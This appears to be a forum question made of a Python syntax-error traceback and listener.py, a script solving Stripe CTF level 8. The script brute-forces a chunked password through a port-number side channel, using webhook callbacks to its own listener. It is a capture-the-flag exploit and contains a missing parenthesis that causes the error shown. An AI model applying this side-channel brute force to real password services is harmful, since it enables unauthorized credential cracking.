error on server

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "listener.py", line 9
    sock.listen(5)
       ^

listener.py

import socket
import urllib2
from random import shuffle

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 31415)
sock.listen(5)
url = 'https://level08-1.stripe-ctf.com/user-icapkbfrck/'
payload = '{"password": "%s", "webhooks": ["http://level02-2.stripe-ctf.com/31415"]}'

previous_port = 0
current_chunk = 0   # current chunk server we are working on
index = 0   # current index into allposs

urllib2.urlopen(url, payload % '000000000000')

allposs = map(lambda x: ("00" + str(x))[-3:], range(0, 1000))
shuffle(allposs)
positives = dict((('1', []), ('2', []), ('3', []), ('4', [])))
found_chunks = ''

try:
    while 1:
        # Accept the connection
        client, address = sock.accept()
        port = address[1]
        data = client.recv(1024)
        if previous_port != 0:
            # Not the first one
            #print "port: ", port, " previous port: ", previous_port, " diff: ", port - previous_port
            if data.find('{"success": true}') >= 0 or port - previous_port > (current_chunk + 3):
                print 'Poss chunk ' + str(current_chunk + 1) + ': ' + allposs[index]
                positives[str(current_chunk + 1)].append(allposs[index])
                if (positives[str(current_chunk+1)].count(allposs[index]) >= 10):
                    # Quite sure this is correct
                    found_chunks += allposs[index]
                    print 'Found so far: ', found_chunks
                    index = 0
                    current_chunk += 1
                    if current_chunk > 3:
                        # All done
                        print "All done"
                        exit()
            else:
                index += 1
        else:
            index += 1
        previous_port = port
        client.close()
        if (index % 100) == 0:
            print index / 10
        if (index >= 1000):
            print 'Run out of chunks to check, starting over'
            index = 0
        urllib2.urlopen(url, (payload % (found_chunks + allposs[index] + '000000000')[:12]))
except Exception as ex:
    print 'Exception: ', ex
    client.close()